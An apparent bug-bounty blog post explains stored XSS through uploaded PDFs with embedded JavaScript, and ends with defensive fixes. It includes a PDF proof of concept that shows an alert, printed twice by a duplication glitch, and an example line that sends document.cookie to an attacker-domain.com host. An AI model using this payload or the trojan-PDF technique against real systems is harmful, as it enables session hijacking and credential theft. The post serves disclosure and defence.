December 3, 2026
Trojan PDF Uploads Leads To Stored XSS🎯
When the file upload accepts a PDF, but the PDF accepts arbitrary JavaScript execution. It’s not just a document; it’s an execution vector.
By wadaa
4 min read
Disclaimer: Based on a real-world vulnerability pattern. All target details and paths have been anonymized or generalized.
File upload functionality is a common feature in regulatory and financial platforms. Users submit identification, prospectuses, and compliance forms. A naive security implementation might validate the file extension (e.g., .pdf) and the MIME type, thinking the job is done.
The job is not done. In the world of PDF forensics, the document format is an application unto itself, capable of embedding executable directives, automatic actions, and — most dangerously — JavaScript.
Here is a deep dive into how an unrestricted PDF upload, combined with inadequate content validation, can turn a harmless-looking document into a Stored XSS (Cross-Site Scripting) vector.
The Vulnerability: Trusting the Wrapper, Not the Content
The core issue is a failure in Content-Based Validation. The application checks the file's wrapper (the PDF format) but ignores the instructions contained within the document's object structure.
PDFs support interactive features. Specifications like ISO 32000 allow for JavaScript actions (/JS) to be triggered by document events, such as opening the file (/OpenAction) or even just hovering over a field.
If an upload filter does not explicitly strip or reject documents containing these directives, an attacker can craft a "Trojan PDF."
The Attack Vector
- Preparation: An authenticated user prepares a specially crafted PDF file embedding malicious JavaScript.
- Upload: The user uploads this file through a legitimate form (e.g.,
[https://target.com/upload-documents](https://target.com/upload-documents)). - Storage: The server saves the malicious PDF without sanitizing its internal content.
- Execution (The XSS Payload): An authorized user — such as an administrator, compliance officer, or auditor — downloads and opens the seemingly innocent PDF file using a PDF reader that supports JavaScript execution (like Adobe Acrobat Reader). The embedded script executes immediately in the viewer's security context.
Technical Proof of Concept (PoC)
Creating a malicious PDF doesn't require complex tools; you can build one using the raw object structure of the PDF format.
Here is the PoC payload structure used in the report to demonstrate Stored XSS risk. This PDF is designed to execute an app.alert() function upon opening, proving that JavaScript execution is possible.
Code snippet
%PDF-1.5
% 1 0 obj: The Catalog object, which defines the document structure.
% It specifies that the document should open with an action (OpenAction).
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 3 0 R >>
endobj
% 2 0 obj: The Pages object, defining the document's page tree.
2 0 obj
<< /Type /Pages /Kids [4 0 R] /Count 1 >>
endobj
% 3 0 obj: The Action object. This is the payload.
% /S /JavaScript tells the reader to interpret this as a JavaScript action.
% /JS (code...) contains the actual JavaScript to execute.
3 0 obj
<< /Type /Action /S /JavaScript /JS (app.alert("XSS Payload Executed - User Context Compromised")) >>
endobj
% 4 0 obj: The Page object, defining the content and dimensions of the page.
4 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
% trailer: Points to the root object (Catalog).
trailer
<< /Root 1 0 R >>
%%EOF%PDF-1.5
% 1 0 obj: The Catalog object, which defines the document structure.
% It specifies that the document should open with an action (OpenAction).
1 0 obj
<< /Type /Catalog /Pages 2 0 R /OpenAction 3 0 R >>
endobj
% 2 0 obj: The Pages object, defining the document's page tree.
2 0 obj
<< /Type /Pages /Kids [4 0 R] /Count 1 >>
endobj
% 3 0 obj: The Action object. This is the payload.
% /S /JavaScript tells the reader to interpret this as a JavaScript action.
% /JS (code...) contains the actual JavaScript to execute.
3 0 obj
<< /Type /Action /S /JavaScript /JS (app.alert("XSS Payload Executed - User Context Compromised")) >>
endobj
% 4 0 obj: The Page object, defining the content and dimensions of the page.
4 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>
endobj
% trailer: Points to the root object (Catalog).
trailer
<< /Root 1 0 R >>
%%EOFImpact: Why PDF XSS is Critical
The impact of a Stored XSS executed via a PDF upload on a high-value platform (like a regulatory exchange) goes far beyond a simple alert box.
- Session Hijacking & Administrative Takeover: The JavaScript payload can access the viewer's
document.cookie. By exfiltrating these session tokens to an attacker-controlled server, an attacker can impersonate the administrator or compliance officer and gain unauthorized access to sensitive regulatory systems with high privileges. - Example Payload:
- JavaScript
var cookies = document.cookie; fetch('https://attacker-domain.com/steal?data=' + cookies);- Credential Theft: The PDF can present a fake login form or modal dialog asking the user to re-authenticate. The captured credentials are sent to the attacker.
- Malware Distribution: Payloads can be designed to download and execute additional malicious binaries on the victim's endpoint, facilitating lateral movement within the organizational network.
- Unauthorized Actions (CSRF within context): If the XSS executes in the context of a logged-in user, the script can perform API calls on their behalf without their knowledge. This could include approving/rejecting applications, modifying regulatory documents, or creating unauthorized user accounts with elevated privileges.
- Data Exfiltration: Beyond session cookies, the script can read and exfiltrate any information accessible in the Document Object Model (DOM) of the page where the PDF metadata or details might be rendered (e.g., sensitive PII, submission details, competitor intelligence).
- How to Fix It Properly
Securing PDF uploads requires a multi-layered defense approach. Do not rely on a single check.
- Server-Side Validation & Content Sanitization (Crucial): Do not rely on MIME types or file extensions. You must inspect the contents of the PDF file.
- Use a reputable PDF parsing library to analyze the document structure (e.g.,
pikepdfin Python,qpdfin command line). - Explicitly check for and strip or reject PDFs that contain prohibited object types such as
/JavaScript,/OpenAction,/AA(Additional Actions),/JS, orGoToE(Go To Embedded). - Treat Uploads as Untrusted Content: If the PDF is stored and served back to users, ensure it is served with a
Content-Disposition: attachmentheader. This forces the browser to download the file rather than rendering it in the browser context, preventing the embedded script from executing in the web application's origin. - Use a Dedicated Content Security Policy (CSP): If you must allow PDFs to be viewed in the browser, implement a strong CSP on the domain where files are served. Restrict the execution of scripts and the loading of external resources.
- Malware Scanning: Integrate a modern antivirus or sandbox solution to scan all uploaded files for known malware signatures and suspicious behavior before they are stored.
Key Takeaway
A PDF is not just a static document; it's a container that can execute code. When building upload functionality for high-value documents, always validate the content of the PDF, not just its extension or MIME type, and treat all uploaded files as potentially hostile.